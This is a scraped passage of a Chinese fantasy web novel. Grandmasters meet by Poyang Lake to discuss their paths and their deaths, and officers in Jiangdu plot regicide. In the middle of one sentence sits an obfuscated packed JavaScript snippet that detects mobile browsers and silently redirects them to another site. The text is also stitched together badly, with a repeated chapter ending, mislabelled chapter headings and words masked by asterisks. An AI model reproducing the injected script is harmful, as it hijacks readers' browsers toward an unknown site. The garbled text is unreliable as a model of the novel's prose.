“敌不过,但他们加上你,便可以全面封锁宫禁,可以欺瞒那位圣人。”赵行密目光灼灼。“我其实也没法子,但最起码知道,若是那些宗师是护着那位圣人的,圣人便也可以调动起宗师……这就有了机会。” 话到这里,颇有几人心动。 而赵行密也继续叹了口气:“更不要说,司马正据说坐稳了东都,而全军根本上还是想回东都。所以于全军来说,也只有司马氏可以给他们回家的承诺,也只有给了大军回家承诺的人能担起弑君的名号!咱们不行。” 终于还是把那两个字说出来了。 这是鸦雀无声的后堂内,几乎所有人的想法。 (本章完) 第二章风雨行(2) 第一章风雨行(1) 进入三月,江南已经开始热了起来。九江一带,最近刚刚落了一场雨,雨水之后,鄱阳湖水涨,植被也愈发茂盛,阳光之下,花红叶绿配合着江湖之水,鱼虾鸟兽到处都是,显得格外生动。 景色生动,人更生动。 鄱阳湖通往大江的狭窄区域偏西侧,一处港口后方的官道上,喊杀声刚刚稍歇,两拨人马,一拨只剩百十人,还多带伤,只缩在背河的一个小丘上,负隅顽抗而已;另一拨足足数千人,却是水陆并存,将小丘围的除了水泄皆不通。 “许大哥。”一名左手掌整个断掉,只拿衣物简易捆住的军官卧在丘上一块大石碑旁,看着这一幕近乎咬牙切齿,却又强忍疼痛与愤怒来看身侧之人。“姓朱的跟姓沈的这是有备而来,你走吧,趁还有些真气,加上水性好,从水路逃出去!” “我碎了丹,也要跟朱纣拼了!”一旁一位肩窝上中了一箭之人居然是位凝丹高手,闻言愈怒。“这厮当日疑惧黜龙帮和淮右盟不能容他,从南阳逃过来,分明是个丧家之犬,是我们湖南人收留了他,他却勾结江西人截杀我们……怎么能忍?” “许玄!”那断掌军官大怒,一开始便想打断对方,但明显疼痛失力,费了好大力气方才止住,继而呵斥。“你碎了丹,必死无疑,他逃了便是,不过是多杀几个喽啰,得有人去报信,只要张大哥他们知道是朱纣做的好事,必能处置了他!况且,这事不是一个朱纣,背后还有操师御跟……这才是关键!” 听到这里,那唤作许玄的凝丹高手终于忍耐不住,先是当场落泪,抹掉之后,复又扶着肩膀站起身来,却又朝着那石碑狠狠唾了一口血沫,然后方才踉跄几步,向后方水面上腾跃起来。 结果,刚一起来,水面上那些船只尾部齐齐掀开一个芦席,各自露出或三五或七八不定的****机来,一时间钢矢齐飞,居然朝着此人攒射过来。 那许玄明显真气已经耗到一定份上,护体真气都不足,又猝然被伏击,居然当场中了四五根钢矢,宛若中了箭的大鸟一般,歪歪斜斜朝着湖中落去。 继而溅起一片水花。 岸上水上,齐齐欢呼,完全盖住了小丘上众人的绝望。 几艘小船转的快,便飞速往落水处去捞战利品。然而,就在这时,众人看的清楚,一艘跟战场不能说完全不搭界,最起码让人感到突兀的乌篷船莫名出现在了视野内……而且,那乌篷船看起来明显就是顺水而走,缓慢到激不起多少波纹,却居然抢在那些快船之前来到了之前许玄的落水处,然后一个年轻文士模样的人走出船舱,一根绳子甩下去,居然就如变戏法一般把人捞了起来。 倒是卸人的时候累得不轻而且一身水渍,俨然狼狈。…. 说实话,这幅情形已经很诡异了。 但更离谱的还在后面,乌篷船在几艘小船的小心环绕下,带着受伤的许玄,居然主动往岸边而来,两侧水军在军官指挥下分开,船只很快与这支兵马主将朱纣等人当面而对。 “朱将军,在下河北房玄乔。”年轻文士拿下刚刚发现的肩膀上水草,匆匆拱手来言。“能否给我个面子,就此撤兵罢手?同室操戈,实属不当。” 骑马立在湖岸上的朱纣目瞪口呆,偏偏他晓得对方必有古怪,却是在回过神后失笑来问:“阁下姓房,是河北人,莫非是黜龙帮的吗?” “在下现在无所属……不过我有三个族叔,都在黜龙帮做头领。”房玄乔有三说三。 朱纣笑了笑:“便是阁下有三个叔叔做黜龙帮头领,可这里到底是梁公治下,阁下的面子怕是不顶用吧?” “也有道理,但正所谓不看人面看龙面,我的面子不顶用,那位的面子却该给吧?”说着,房玄乔指向小丘顶部。“千金教主立千金柱,莫说梁公以真火教为护国真教,你们都该敬奉,便是千金教主对天下的恩泽,也不该在这碑上撒血吧?听人说,这些千金柱就是千金教主的塔,你们不会以为他察觉不到吧?” 朱纣听到第一句话时便面色大变,继而欲言又止,却又看向了身侧两人,但那两人明显跟朱纣一样,既慌乱又有些不甘,最后三人面面相觑,只一起看向了房玄乔身后船舱,俨然是心中存了猜想。 倒是那船上的许玄,浑身血流不止,还扎着几根**矢,如今努力挣扎着撑起身子,居然对着身下再度吐了一口血沫:“便是死在这里,哪里又要那个欺世盗名的来救?!” 闻得此言,朱纣等人明显抓到机会,即刻便要开口。 但也就是这时,一名年长文士忽然从船舱中走了出来,却是双眉一皱,当场对着岸上呵斥:“滚!莫要惊扰了老夫随恩师游湖!” 一声发出,虽然带怒,却并无多少中气,但还不等朱纣等人反应,下一刻,这句话仿佛从天上地下一起涌来一般,便是整个湖面也都起了无数微波。 朱纣等**惊失色,连忙勒马后退,却又在退却数十步后反应过来,仓促下马,纷乱回身朝着船舱恭敬下拜。 然后居然就是水陆一起撤走。 非只如此,被围困的那伙人也醒悟过来,稍作收拾便相互搀扶下来,来到湖畔接了许玄,犹豫了一下,到底是在为首那个断掌之人的带领下恭敬下拜,朝着船舱重重磕了几个头,然后才带着复杂心情仓皇往大江方向走了。 眼看着人走了干净,那年长文士,也就是晋地文修宗师王怀通了,方才入了船舱,将、自家恩师,也就是晋地大宗师、金戈夫子给扶了出来。 一月而已,相较于之前河北时的风采依旧,金戈夫子明显已经行动不便,神色萎顿,但双目依旧清明。…. 随即,房玄乔引路,师祖孙三代登上了土丘,踩着斑斑血迹和抛弃的军械杂物,来到了著名的千金碑前。 石碑很大,上面清楚的刻下了大江周边一度流行的咳血病种种详细症状,以及眼下无药可救的现状,最后对此病由来的几种猜想,和包括人畜一起远离钉螺、泥沼中尽量穿草鞋、少喝生水等防范法子。 “怪不得要立在湖边。”房玄乔登时醒悟。“之前郡城外的官道上是治脚气、伤寒的法子,那边集镇是小儿急救与妇科药方,路边的都是柱子,这里却是碑……千金大宗师委实用心了。” “人命至重,重于千金。”气色不佳的大宗师张伯凤仔细也看了一遍,然后闭目摇头张口,须发随风而动。“恨我年轻时早早自诩见识过天下英豪,便故步自封,不愿离开乡梓,若早至于此,见得此碑,便也早走通了道路……可惜,可惜!不过,我沿途走来,也为千金教主可惜……可惜,可惜!” “惭愧,惭愧。” 王怀通刚要接口,却不料,南面风中也传来一个苍老声音。“不过,朝闻道夕死可矣,若能与张兄闲坐论道,相作解惑,便是此生无力再行新路,也不算可惜……洞庭孙思远,见过张兄,不意你我此生能相见。” 王怀通松开扶持自己恩师的双手,与学生房玄乔各自后退了几步,很快,随着一阵并不浓郁的长生真气沿着湖面飘来,一艘船载着两人也出现在了小丘另一侧,为首者赫然是一名同样须发皆白的老者。 孙思远的状态远胜张伯凤,其人登上岸来,走上小丘,主动行礼:“刚刚多谢张兄解围了……委实感激不尽。” 张伯凤勉强还礼,还是好奇:“孙教主,你自是这几百年真火教最出众的教主,为何连自家人内讧都不好出面?反而要我出来?” 原来,张伯凤之前便已经察觉到了孙思远的存在,也意识到对方似乎有些无能为力,这才主动出面阻止了这场战斗。 “确实有些原委,主要跟我之前的负气作为,还有我们真火教的一些经历有关。”孙思远主动来搀对方,然后两位大宗师就在石碑旁的草地上盘腿坐了下来,一时望鄱阳湖而叹。“当年大魏灭陈,势不可挡,我作为真火教当时的教主,早晓得没了什么机会,东齐灭亡后便亲自去了一趟西都……那时候还不是大兴城,还是长安城……得了先皇帝的许诺,只要我不出手,约束着下面的人不出手,真火教就是与三一正教齐平的国家正教。” “应该有忌讳武功山的缘故吧?”张伯凤插了一句嘴。 “就是看到了这个才去冒险的。”孙思远坦荡来答。“虽说三一正教上面不管着下面,而且素来恭顺不惹事,可代代都是大宗师,还就在长安城边上,谁能不犯嘀咕?真当伏龙印搜罗过去是要搞政变的?而天下一统,便要对我们这些教派远交近攻了。不过……终究还是被我一时冲动毁了。”…. “巴陵那一战吗?”张伯凤醒悟。“你果然出手了?可杨斌当年一日千里,江神成道,据说不也成功了吗?” “这就是问题所在,出手了却没成,反而弄得对外失信,对内失威。”孙思远幽幽以对。“我当日让下面人不要出手,可我爱徒却在大魏真打过来前两年娶了陈朝公主,并铁了心要镇守巴陵,维护陈朝。当时杨斌自上游而来,他干脆变卖家产,招揽教中好手,一意守江……甚至不惜以观想的铁索横江,试图就地立塔。结果当日杨斌也在一日千里,炼化黄龙,他的副将刘仁恕也有隐隐骑行黑龙之态,最后就是杨刘两人水陆双龙并进,一日内九次攻击,我那徒弟技不如人,铁索崩坏。战后,杨斌释放了俘虏水军,但刘仁恕在岸上却放肆屠戮,那些都是教中精英……我没有忍住,出了手。” “怪不得刘仁恕当年那么大声势,灭陈之后反而没了踪迹,竟是被你重伤。”张伯凤也不由叹气。“但这么做,非但惹怒了大魏,便是教中精英也恐怕不会感激你。” “何止?!”孙思远一声叹息,满眼无奈。“其实,因为江南地理分野清晰,我们教中素来有湖南、江西、江东三大派系,而那一战后,教中湖南精英死伤颇重,恨我不早救,江西精英却因为驻守此地的长沙王降服,整个囫囵跟着降了……从此以后,湖南当地虽然还点真火,却都弃了真火教的总舵,自行其事了……三家也更加生分,却都怨我,内外都嫌,我也只能离了教。” “但若如此,刚刚孙**出手救人总是没顾虑的吧?”王怀通在后蹙眉发问。“为何这般无奈?” “那是因为刚刚这次刀兵,埋伏者背后乃是如今正经的真火教主操师御。”孙思远低头捏起一小团被血污了的泥土,无奈又放下。“我若拦了他,不知道教中又要闹出来什么,说不得引出来别的大祸……梁公起兵,我本以为教中能再次统一的,却不料反而加剧起来。” “说不得操师御还以为自己正是要来统一贵教呢。”房玄乔忍不住插了句嘴。 “其实这正是那什么梁公和操师御无能!”倒是王怀通毫不犹豫拂袖道。“曹彻就在江都,依旧作威作福,索取无度,但凡来个白横秋在萧辉的位置上或张行在教中做个执事,都能借着反魏反曹把人捏在一起,别说什么湖南、江西,便是江东世族都能服膺!服不了,也能处置得当,何至于当道火并?!” “师父所言极是,不说之前,现在司马正去了东都,徐州空虚,江都内外失衡,马上就要倾覆,萧辉和操师御不去集合力量去做大事,最起码也要防范东都精锐失控,反而在这里大开杀戒……”房玄乔分外同意。 孙思远低头不语,他的那个随从一时涨红了脸,也只是低头。…. 王房二人即刻晓得,这倒不是说孙思远就觉得那俩人“有能”,而是说,在这方面他孙思远当年和现在也都“无能”,实在是没脸讨论这个话题,便也不好再多说什么。 “赤帝娘娘不是素来管的多吗,现在也不管了?”张伯凤倒是从另一个角度解了围。 “赤帝娘娘对我当年的行为应该也是有怨气的,祂素来不吝于显圣表态,结果从我退教前后开始便不怎么理会我了,反倒是我离开真火教后,教中便恢复了正常。”孙思远愈发无奈。 “你也难。”张伯凤不由笑道。“都说大宗师是陆地神仙,可你看咱们这几个大宗师哪个不被锁着?上面有至尊朝廷,下面有家族师门,还要顾虑地气、地域,全身都套了圈子。” “确实,而且我的经验是,单以修行来论,当日离教未必是坏事。”孙思远倒是冷静。 “相当于脱了一层枷锁?” “是……我虽在教中时便是大宗师,但是出来以后自立千金柱,才觉得像是脱胎换骨,有了自己的东西。” 张伯凤缓缓颔首,复又摇头:“不知道南岭那位和黑水那位又是怎么回事……老夫一定要去南岭看一看!” “南岭的话,张兄恐怕撑不住了吧?”孙思远一声叹气。 此言一出,王怀通、房玄乔俱皆色变,自数日前在襄阳追上张伯凤,他们便意识到知道对方已经天人五衰,不可违逆,但总因为对方是大宗师而带着一丝侥幸……现在孙思远一句话,却彻底让他们躲无可躲了。 在曹林死后这才多久,另一位大宗师便也要**。 “这有什么值得忧惧的?”张伯凤似乎是晓得自己的学生与徒孙的心思,反而回头含笑。“自大魏灭陈算起,地气稳固,几位大宗师一直是那几位大宗师,现在大魏已经到了最后一口气,我们这些人……别的倒也罢了,曹林和我算是正经大魏余孽,牵扯太深了,既没有本事学英国公革陈出新、另起炉灶;又没有孙真**破大立,重新立塔的魄力……不过,也都来不及了。还是可惜。” 王房师徒各自黯然。 便是孙思远也有些无力。 “孙**也可惜,但说不得还能不可惜。”说到这里,张伯凤忽然又看向了一侧的千金教主。 “正要请教。”孙思远也肃然起来。 “其实,我在河东时听河北黜龙帮的一些作为,便有了些察觉和醒悟,而来到这边,看到你的千金柱,便彻底晓得,我后半生犯了个大错,那便是建学校教学生却不能做到有教无类,立教统却不能广传己学,不能做到推私及公。“张伯凤正色道。“反过来说,阁下在这些方面做的极佳,却又缺乏条理和深度,缺乏一个汇集有志之士的根基之所,将这些千金方推陈出新,来精研求本。”…. 孙思远一时沉默无语,只是望着鄱阳湖湖面失语。 到了他们这种地步,其实就是一句话和一个决心的事情,张伯凤说完,也不言语,只是努力抬头来迎湖风。 倒是王怀通,心中一动。 他如何不晓得,自己恩师是在提醒孙思远,更是在提醒自己,给自己指路呢? 照理说,已经走上同一条路,而且注定要接手南坡的王夫子更应该理解到自己恩师的思路,但王怀通想了一阵子,反而闷闷:“恩师是说,黜龙帮最无稽的政策,也就是强制少年少女一并筑基、识字,反而是走在我们前面的天下正道了?若是如此,我们便是学了,路已经被人家走了,我们又能如何?” “首先,我现在的确觉得,这个政策是天下之正道……他们都说这是张行这个年轻人少有的昏招,乃至于有人猜测是他建立私**威、控制地方的手段,但自从我晓得以后就觉得,这可能是人家走在所有人前面的正道、大道……倒因为有些超前,反而被人轻视了。”张伯凤喘了口气,缓缓来做回复。“至于说,人家做了,我们就不能做,那更是负气的言语了。且不说争龙这个事情,内外上下,不知道什么时候谁一口气泄了,就失了风头,他们未必能做成。只是人家在河北东境做了,我们难道不能在晋地关西来做?还不要说,我们要做的事情,跟他做的事情也不一定是竞争关系……书院还是太高了,便是往下一点也够不着他们刚刚筑基、识字的地步;恐怕还要他们再往上一点才能连起来。” 王怀通陡然醒悟,却又叹气:“可惜,事情总是要从下面起来的,不免还是要以他们为本,否则便是无根之木无源之水。” “你能晓得这个,说明比我强,没有被家世蒙了眼睛,看不起下面人。”张伯凤诚恳来道。“最关键的就是这个……既见了千金柱,便该晓得,凡事以人为本是对的,只要是人,便可动摇天地元气,便可寻路成道。” “若非是河北一行,见到了黜龙帮的和作为,晓得魏玄定那些人居然还有些能耐和前途,我还真未必这般坦诚说出这般话来。”王怀通板着脸答道。“我不是厌弃他们,而是一直只觉得他们不能受教,不能成事。” “所以说,还是要多走一走,看一看,不能因为一座塔、一个念头就把自己束缚住了。”张伯凤拍着自己腿弯失笑道。“说得好。”这一边,倒是孙思远开了口。“说得好……刚刚张兄点醒我,我如何敢不再入俗世试一试?可人在庐山,思虑周边皆是真火教的根基,哪怕是治病救人,也不好再起炉灶……唯独天下之大,何处不可去?当今乱世,或有大厮杀,我为什么不出去走走,寻一个要冲之地,起一个千金台,重立些千金柱呢?却不知道往后何处将大乱?哪些地方合适一些?”…. 张伯凤愣了一下,却没有直接回答,而是回头看自己徒孙房玄乔。 房玄乔立即拱手作答: “不瞒孙**,马上要打大仗的是关西、河北、江淮,可前两处便是激烈,也会迅速平息,至于北地、巫族、东夷之地,皆不可幸免,但又偏僻。故此,我以为将来战事持久、反复拉锯者,又道路通达者,还是东都周边为主,淮西-徐州似乎可行。” “东都有了司马二龙。”张伯凤点头,回身来对。“大河两岸是黜龙帮的根基,张行、雄伯南,乃至于其下种种,皆不可限量,关西自是关陇连成一体,巴蜀的当庐主人估计也要起来了,再加上晋地,关陇还是很强,你若行此事,便不好专向一家……所以若江南不愿意留,老夫以为江淮确实可以去看看。” 孙思远拱手以对:“既如此,送了张兄南下后,我便不拘江淮之地,北上走一走,再看看如何定址,招揽人手。” 张伯凤也笑了,却居然有些如释重负。 他既弃武从文,一辈子都不能更改好为人师,劝道解惑的本性。 解决了眼前的事端,说了情况,谈了道途,这个时候,却是孙思远继续了话题:“不过,刚刚三位言语,只说黜龙帮此番立住了跟脚,我倒是有些好奇起来……真火教传承许多年,尤其是之前几百年,几次想做事,但总不能脱离教派樊笼,以至于为豪杰所破,沦落下风。再看其余地方,荡魔卫之类也多如此。往之前看,许多帮派起势的也不是没有,却都没有摆脱帮会草莽之气。想来黜龙帮本是东境帮会,如何做到这般地步,听起来竟似遥遥领先一般?” “还得孙**自己去看,至于说黜龙帮眼下的局面……”张伯凤摇头以对,却又止住。 身后王怀通则看向了房玄乔。 房玄乔失笑,拢手走下坡来侧身而答:“不瞒**,要我说,什么帮会、教派、霸府、朝廷都是虚的,关键只在一点,便是如何能调动治下的人才、兵丁、钱帛、盐铁,又能调度到什么程度,然后使用这些根本时又能有多少用在正途而非私欲上……而要从这方面来说,黜龙帮却是更胜其他各家一筹,因为他们家是帮政分立,郡府、县衙、乡里都在,仓储、官道照样维护,上头也有霸府类的行台,对应的官职也都在,所谓帮中身份乃是单独的收拢人才,进行人事安排,也是团结人心的东西,并没有影响正常的行政体制。至于说寻常帮派,多是以利而合,上来便从根基上坏了正常的政务,不是一回事。” 孙思远恍然,复又不解:“黜龙帮一开始便是如此吗?” “当然不是。”房玄乔认真作答。“他们一开始用帮派来拢人是不得已,因为起事之初东境西段两郡中,固然有朝廷官员和文修要反,但真正有兵马钱粮的却是几个乡野大豪、东齐故将之后,这些人已经被大魏朝廷压得成了坐地的盗贼之流,不用帮派来排位子,那些人根本不懂……只不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16167956|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,从一开始的时候便有张行这些人一直带着往帮政分离走,这才有了后来。”…. 孙思远连连点头:“原来如此,事在人为。” “其实。”房玄乔看了眼恩师,主动继续言道。“非要打个不恰当的比方,这就好像朝廷体制之外关陇世族相互联姻结成一体一般,但黜龙帮不是用血缘婚姻,而是尝试另辟蹊径,尽量以剪除暴魏安定天下为志向,从所有人中拉拢人才,构成一体……从此处来说,或许有些虚浮,但无论如何都胜过其他了。” 孙思远没有吭声,只王怀通负手来言:“你若有心,尽管去便是,我从来没有阻拦你的意思,只是恩师这里即将……远行,南坡的事情我也要承担起来,接下来咱们得有所选择。你是要出仕入帮做个图谋,还是要留在晋地潜心文修?入仕,自然可以去借黜龙帮或者关陇之地气,腾云起舞;而文修,你师祖已经指了新路了,咱们师生完全可以在晋地徐徐展开走下去……所以你的志向到底在哪里?” 一直没说话的孙思远侍从也看向了房玄乔。 而房玄乔犹豫了一下,给出了自己的答复:“不瞒恩师与师祖,我都想要。” “那就去黜龙帮修行嘛。”张伯凤反而给出了建议。“在黜龙帮里也可以教学生,而且教的更多,刚刚都说了,一定不要囿于出身、囿于地域,黜龙帮里做书院,说不得事半功倍。” 房玄乔拱了下手,没有应声,也不晓得他是如何思量。 “这张行是什么来头?”孙思远适时来问。 “黑帝爷的点选,却走出来了一条自己的路……但有没有人指点,我就不知道了。”张伯凤有一说一。“我与他细细聊过,满肚子想法,六七分的诚恳,极利的口舌,但最关键是还能笼络人心,让人跟他走……” “每样都很了不起。”孙思远幽幽以对。“加一起更了不起了……如此说来,必然是黜龙帮与关陇新贵决一死战了?” “不好说。”张伯凤幽幽以对。“白横秋刚走,黜龙帮马上就有一个新的大坎,却不知道黜龙帮能坚能硬之外是不是还能屈能伸。” “江都吗?”孙思远当然晓得对方是在说什么。 “不错。”张伯凤刚要展开,却又忽然感觉到一丝疲惫,不由苦笑。“罢了,反正是见不到了。” 几人皆不好再长篇大论。 “你们两人不要跟来了。”停了半晌,张伯凤忽然再开口。“剩下路程请孙**送一送我便可,你们只管走自己的路。” 王房二人齐齐来动,却又被张伯凤摆手制止:“老夫这一生,年少从军,横戈百战于晋地,之前虽说是自满,就此迷了眼睛,但确实也将西魏东齐的英杰们看了个遍,算是稍有见识,稍得军功;后来侥幸活下来,南坡开院,教书育人,什么都教,什么都想,却还是限制在一地,天然做了世族子弟的专院……但我并不以为这就是什么不值的事情……尤其是先帝晚年,甚至禁了学校,独有我的南坡坚持了下去,也算是有一份功德了。”…. 孙思远立即颔首。 “其实,人之一生,道阻且长,便是没什么成就,只要做事为人问心无愧便可!”张伯凤继续言道。“便是曹林,将来天下人可能都会视之为可笑之辈,但他自己想来也是无愧的!既然无愧,走到哪儿,就落在哪儿,何必再给自家子弟露什么衰像?你们委实都不要跟来了。” 话到这里,两人都不好说,而张伯凤顿了一顿,便站起身来,就望着烟波缥缈的鄱阳湖出神。 隔了好久,到底一声轻叹:“但还是可惜,可惜!” 周围四人,俱皆动容,王怀通更是双目发红,继而直接带头,引房玄乔一并下拜,朝着张伯凤恭敬大礼……这位已经成名许多年的晋地文修宗师,本想按照一定古礼来完成告辞,孰料跪下以后,却情难自抑,只如一个老农一般在满是血渍尸首的草坡上狼狈叩首,而且反复多次。 房玄乔完成礼节,看着这一幕,只能无声静候。 停了片刻,干脆是张伯凤主动扶住了孙思远,后者会意,干脆以真气“扶”着对方,往下方船只而去,待上了船,复又回头拦住一人: “士扬,你也不用跟来了。” 那随从一愣。 “我知道你早就存了建功立业的心思,教中随萧辉起势后你更是坐卧难安,如今我要去江淮了,你也可以放开手脚,做你想做的事情了……操师御跟你是同乡,我又走了,必然重用你……尽管去吧!顺便收拾一下此地的尸首,都是教中兄弟。”说着,脚下船只逆风自动,须臾更是自行转过弯来,往鄱阳湖深处去了。 徒留岸上三人沉默无声。 过了好一阵子,眼看着两位大宗师消失在视野中,房玄乔却主动拱手开口:“未请教阁下姓名……是姓是,江都是姓,还是姓别的什么?” 王怀通这才回过神来。 “林士扬。”那人仓促拱手。 而顿了一顿,这林士扬复又甩手低头,情绪低落起来:“其实,我不止是操师御的乡人,还是他的义弟兼心腹,是操师御做了教主后派来监视老教主的,老教主早就知道,但到最后都没有揭开这一层,给我留足了体面……这话,也只能对两位北方人来讲,不然一直要憋心里的。” 房玄乔没想到这一出,只能颔首。 王怀通也只好胡乱点头:“记住孙**的大度,以后做事妥当些便是……我们师生随你处理一下这些尸首,也算是在这里守恩师最后一日。” 林士扬也只能跟着点头。 三人对着点头,接着却还是林士扬出了大力,他等了一阵子,自寻了之前散开的朱纣等人,说明身份,朱纣军中本就有操师御派来的高手,自然无话可说,乃是将尸首收拾起来,稍**洗了干净,当晚便放在了准备好的木柴堆上,继而挨个点燃。…. 熊熊烈火,燃尽残躯,许多年了,江南都是这个规矩。 王怀通望着这些火光失神许久。 翌日,朱纣等人开拔,晓得王怀通是太原王氏出身,还是晋地成名的宗师,更是大宗师嫡传,当然要小心来问,准备邀请对方往九江城去。 但王怀通是何等人,连张行都看不上,如何能看得起这群自相残杀的江南义军?实际上,他知道朱纣本是南阳义军却畏惧黜龙帮的帮规逃到这里后,就是更是看不上了。回过神后,对林士扬也有些鄙夷。 再加上他此行本就是要送恩师最后一程,如今恩师已经相当于告别,又怎么会留? 于是,也干脆带着房玄乔北上。 只不过,走到江上时候,忽然想起来,旧交吐万长论如今正在下游宣城,便干脆动身过去。结果,一日千里行到宣城,却又闻得一个新的讯息,乃是吐万长论连宣城都不能立足,已经逃到北岸历阳去了。 所幸,只是南岸北岸,没有耽误路程。 再行到历阳,终于见到吐万长论,而后者身心煎熬,忽见故人,不由惊喜。 王怀通倒也干脆,见面**手直接来劝:“老将军,江都必出大乱,大魏必亡,早点走吧!回关中做个安乐公便可,总比在油釜中煎炸要强。” 吐万长论犹豫了一下,也当场剖心来对:“我也觉得要垮,可是,江都城内有牛督公、来总管;而鱼总管已经退到江宁,我已经退到历阳,三郡挨在一起,足足四位宗师,便是乱又从哪里乱呢?怕只是怕,我一走,反而开了口子,露出破绽,到时候那些人作起乱来,将大魏之亡都推到我头上……我本人一个战场上进位宗师的将帅,这把年纪了,**也就**,名声坏了,反而要连累家人的。” 王怀通无奈,只能仰头而叹:“既不能走,也一定不要再入江都了。” “自然晓得。”吐万长论连忙颔首。“你小子既来,今日且纵情一醉……也与我说说北面事。” 王怀通只能与对方携手进入。 倒是房玄乔跟在后面,不由无语……不入江都,便躲的开生死吗?不走,便不会坏了名声吗?天塌了,大宗师挡不住,心思各异的四位宗师又能如何? 但终究没有开口。 “虞常基和齐王殿下且不论,只四位宗师怎么办呢?” 酒宴摆开,邻郡而已,江都城内,东都骁锐中的一位中郎将在桌上认真来问,赫然是之前在徐州与黜龙帮大战的赵行密,此时职务依然还是右御卫的左翼第一鹰扬郎将。“” 为首开宴者沉默不语。 这引得宴席气氛直线下降。 而等了片刻,非但无人开口,反而有一人忽然借着酒劲哭泣起来,却是左屯卫所属右翼第二鹰扬郎将张虔达:“我当日怎么就从徐州逃回来了……若是不逃,此时也跟着司马二郎回到东都了!何至于在这里人不人,鬼不鬼?” 众人既鄙夷,又心酸,也都不知道该说什么好。 半晌,赵行密缓缓开口:“还是要找司马氏……司马将军,你跟司马氏虽不同族,但毕竟同姓,何妨跟我一起去联络一下司马化达?还有张将军,你也不要哭了,司马士达虽已经**,但何妨去寻当日接应你和司马士达一起出逃的司马进达?” 为首那名复姓司马的将军一时不解:“为什么司马兄弟就行了,他们敌得过四位宗师?” “敌不过,但他们加上你,便可以全面封锁宫禁,可以欺瞒那位圣人。”赵行密目光灼灼。“我其实也没法子,但最起码知道,若是那些宗师是护着那位圣人的,圣人便也可以调动起宗师……这就有了机会。” 话到这里,颇有几人心动。 而赵行密也继续叹了口气:“更不要说,司马正据说坐稳了东都,而全军根本上还是想回东都。所以于全军来说,也只有司马氏可以给他们回家的承诺,也只有给了大军回家承诺的人能担起弑君的名号!咱们不行。” 终于还是把那两个字说出来了。 这是鸦雀无声的后堂内,几乎所有人的想法。 (本章完) 39314349. ... 第三章风雨行(3) 第463章风雨行(3) “陛下,现在外面都说有人要**,陛下知道吗?”偏殿上,舞蹈间隙,皇后忽然开口。 出乎意料,皇帝居然没有生气,他在座中沉吟片刻,然后捻着案上鲜花花瓣戏谑来问:“皇后不是亲口说,朕心情不好,不要拿一些不实的传言打扰朕吗?” 这话当然不是胡说。 上一次,皇后身边女官从黜龙贼那里被释放过来,思来想去,怎么想怎么觉得黜龙贼有点不像是寻常贼寇,再加上她们到底比江都这里的人晚了许久才到,发现江都这里根本不晓得外面是什么局面,不免忧心忡忡,想做汇报,皇后也同意了。 但结果就是,那个去见皇帝的女官直接以“妖言惑众”的罪过被斩首。 皇后也只好对其余女官说:“圣人心情不好,不要去做打扰。” 从此,江都这里的内侍与宫人,就无人再于皇帝面前说任何外界的**了……遑论**。 “因为此一时彼一时,此一事彼一事。”皇后丝毫不慌,只是认真来言。 “哦?”皇帝状若惊异。 “当初说的是外面盗贼如何厉害,现在说的是江都周边的禁军;当初说那些,是希望陛下振作起来重定天下,现在说这个,是怕祸起肘腋,若不提防则江都安危、陛下安危都不好说。”皇后言辞诚恳。 皇帝不由来笑,却给了皇后面子,直接放开花瓣向外喊人:“当值的是谁?” 早已经大汗淋漓的张虔达狼狈转入殿内,扑通跪倒叩首:“臣监门直阁张虔达……” 只说了自己姓名,便已经惊慌到不知道怎么说下去了。 “张虔达。”皇帝想了一想。“你不是在做鹰扬郎将领兵吗?” “圣人明达**。”张虔达听到这个问题,倒是稍微恢复了一点神智,毕竟这个问题是有预设答案的。“臣之前确实是在领兵,但最近因为司马正领兵回东都的事情,军中上下起了些骚动,臣因为是司马大将军的旧部,却因故没能回去,惹得军中起了怨气……这才求到虞相公跟前,弃了兵权到御前当差。” “因为你阴差阳错没有回东都,所以招来了本军下属的愤恨?是这个意思吗?”皇帝立即会意。 “是。” “皇后说有禁军要**,是指这件事吗?”皇帝继续来问。 “臣不敢隐瞒圣人。”张虔达明显有些紧张。“这几年,每隔几月就要起些回东都的骚动,但这一次司马正一下子带走了三万精兵,上面这些登堂**的晓得是接替曹皇叔,多还只是议论,下面队将校尉之流就串联的有些厉害了……皇后娘娘为此惊动也属寻常,但事情似乎又不止如此。” “有话便说。”皇帝明显又有些不耐烦了。 “是吐万长论老将军的传闻,据说前日晋地文修宗师、太原王氏的王怀通忽然出现,拜访了吐万老将军。”张虔达虽然还是战战兢兢,但嘴上却利索了不少。“臣委实不敢蒙骗圣人,江都城内现在很有些流言,都说王怀通是受了英国公白横秋的委托,劝吐万长论回关西的……而具体如何回去,又有许多说法,是孤身离开、仿效韩引弓引兵离开,乃至于说吐万老将军要发动兵变,率军来扑击江都的说法,都是有的。”…. 皇帝沉默了下来,皇后似乎想说些什么,但最终闭口,只是看向了前者。 一阵压抑的沉默之后,偏殿上皇帝重新开了口,却是看向了平案之人:“都是一些流言,皇后想多了。” 皇后便要点头。 而皇帝反而抢先解释:“外面是有许多人要算计咱们,但只要不落到黜龙贼手里,我总能做个陈朝后主当个安乐公,你也可以仿效当年陈朝的沈皇后,安心做个公夫人。” 皇后只能点头。 “下去吧。”皇帝这才朝下方摆手。 张虔达赶紧谢恩,然后爬起来回到殿外继续巡逻,稍顷回过神来,又不禁心思微妙起来。 一来,他是庆幸,庆幸成功将这次危机应付了过去;二来,他是失望,失望没能趁机祸水东引,借此机会引得皇帝对吐万长论惊怒起来,反而轻飘飘过去了;三来,正是这种轻飘飘,以及皇帝明显展示的畏缩,让张虔达起了一丝轻松之意……原来,这位之前看起来那么深不可测的主,也可以这般轻易糊弄,自然让他放轻松了不少。 